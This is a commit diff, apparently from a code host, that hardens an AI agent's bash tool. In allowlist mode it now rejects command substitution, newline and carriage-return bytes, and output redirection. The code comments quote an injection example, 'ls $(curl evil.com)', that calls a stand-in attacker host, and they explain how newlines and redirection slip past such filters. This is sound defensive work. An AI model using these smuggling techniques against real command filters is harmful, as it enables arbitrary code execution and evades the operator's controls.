fix(bash): reject real newline/CR and redirection in allowlist mode (S1)

This commit is contained in:
sausheong committed 2026-06-13 16:25:44 +08:00
1 parent a5f21d3a2c
commit 7f0c3fd23d
2 files changed
+43 -3

No files matched your search

+8 -3
View File
@@ -192,9 +192,14 @@ func (t *BashTool) Execute(ctx context.Context, input json.RawMessage) (tool.Too
case "deny":
return tool.ToolResult{Error: "bash execution is disabled by policy"}, nil
case "allowlist":
// Block shell metacharacters that can execute arbitrary code
// inside an otherwise-allowed command (e.g. ls $(curl evil.com))
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\\n"} {
// Block shell metacharacters that can execute arbitrary code or
// write files inside an otherwise-allowed command. Covers command
// substitution (e.g. ls $(curl evil.com)), real newline/CR bytes
// (bash -c treats them as command separators, so trailing lines
// would run unvalidated), and output redirection (">" matches ">",
// ">>", "2>", "&>", "2>&1" — all write/overwrite primitives).
// Input redirection "<" is intentionally allowed (not a write/exec bypass).
for _, meta := range []string{"$(", "`", "<(", ">(", "${", "\n", "\r", ">"} {
if strings.Contains(in.Command, meta) {
return tool.ToolResult{Error: "command contains shell metacharacters not allowed in allowlist mode"}, nil
}